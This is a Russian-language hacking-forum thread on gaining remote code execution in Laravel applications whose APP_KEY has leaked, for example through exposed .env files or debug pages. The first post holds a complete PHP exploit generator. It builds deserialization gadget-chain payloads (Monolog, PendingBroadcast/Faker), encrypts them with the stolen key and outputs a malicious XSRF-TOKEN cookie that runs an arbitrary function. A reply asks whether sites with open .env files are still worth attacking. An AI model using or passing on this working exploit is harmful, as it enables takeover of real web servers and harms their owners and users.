[СПУЩЕНО с Level 5] Laravel

Discussion in 'Веб-уязвимости' started by crlf, 15 Nov 2018.

  1. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    572
    Likes Received:
    1,100
    Reputations:
    374
    В общем, не уязвимость, а скорее метод эксплуатации.

    По всей видимости, лара была написана под вдохновлением от RoR. Давно известный факт, что при лике секретного ключа рельсов, у атакующего автоматически появляется RCE. Ну, а Laravel чем плох? Ответ - ничем! :)

    Наверно многие замечали наличие строки APP_KEY в конфигурационном файле .env, который является стандартным для каждой сборки (как всегда, не точно).

    Так же, подробную инфу об параметрах и окружении можно увидеть в отладочной информации, если её по каким либо причинам забыли отключить. Аппкей светится и там.

    Так вот, эта строка является ключом для шифрования данных, в частности, информации о текущей сессии и инфе для CSRF протекции, на клиенте, в виде кук.

    В подавляющем числе случаев, там лежат сериализованные данные, которые в последствии десериализуются средствами функции unserialize, ну вы поняли... имеем слепое выполнение кода!

    Долгое время использовал архив с развёрнутым фреймворком для генерции нагрузки, но по некоторым причинам это меня задолбало, что вылилось в написание небольшого скрипта, которым не стыдно поделиться:

    PHP:
    <?php
    (!isset($argv[3])?die("\nphp ".basename(__FILE__)." CALLABLE_FUNCTION FUNCTION_ARG APP_KEY [IS_LEGACY]\n\n"):@list($x,$func,$arg,$key,$leg)=$argv);

    print 
    "\nXSRF-TOKEN=".encrypt($keypayload($func$arg$leg))."\n\n";

    function 
    encrypt($key$value$cipher 'AES-256-CBC'){
       
    $key base64_decode($key);
       
    $iv substr(md5(rand(0,PHP_INT_MAX)),0,16);
       
    $value openssl_encrypt($value$cipher$key0$iv);
       
    $iv base64_encode($iv);
       
    $mac hash_hmac('sha256'$iv.$value$key);
       
    $json json_encode(compact('iv''value''mac'));
       return 
    base64_encode($json);
    }

    function 
    payload($func$arg$leg){
           return 
    urldecode($leg?'O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:6:"socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"%00*%00handler";r:2;s:13:"%00*%00bufferSize";i:-1;s:9:"%00*%00buffer";a:1:{i:0;a:2:{i:0;s:'.strlen($arg).':"'.$arg.'";s:5:"level";N;}}s:8:"%00*%00level";N;s:14:"%00*%00initialized";b:1;s:14:"%00*%00bufferLimit";i:-1;s:13:"%00*%00processors";a:2:{i:0;s:7:"current";i:1;s:'.strlen($func).':"'.$func.'";}}}':'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"%00*%00events";O:15:"Faker\Generator":1:{s:13:"%00*%00formatters";a:1:{s:8:"dispatch";s:'.strlen($func).':"'.$func.'";}}s:8:"%00*%00event";s:'.strlen($arg).':"'.$arg.'";}');
    }
    Полное покрытие версий мне не известно, но чаще приходилось сталкиваться с двумя вариантами, которые учтены в коде.

    C версии 5.5.42, дефолтная десериализация кук выключена, следовательно способ работать не будет. Но проверять, всё же, стоит, так как есть вариант включения этого метода и вполне возможно, что на рабочих проектах его будут оставлять для обратной совместимости с чем либо.

    Ну и на последок как выглядит APP_KEY.
     
    BillyBons, dmax0fw and joelblack like this.
  2. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    572
    Likes Received:
    1,100
    Reputations:
    374
    Можно спускать. Оказывается, на момент публикации, оно было в паблике :(
     
    Suicide likes this.
  3. failsafe

    failsafe Member

    Joined:
    1 Apr 2016
    Messages:
    37
    Likes Received:
    10
    Reputations:
    2
    Иногда попадается не закрытый .env с этим ключом, имеет вообще смысл со всем этим геммороиться и разбираться или уже всё пропатчено давно?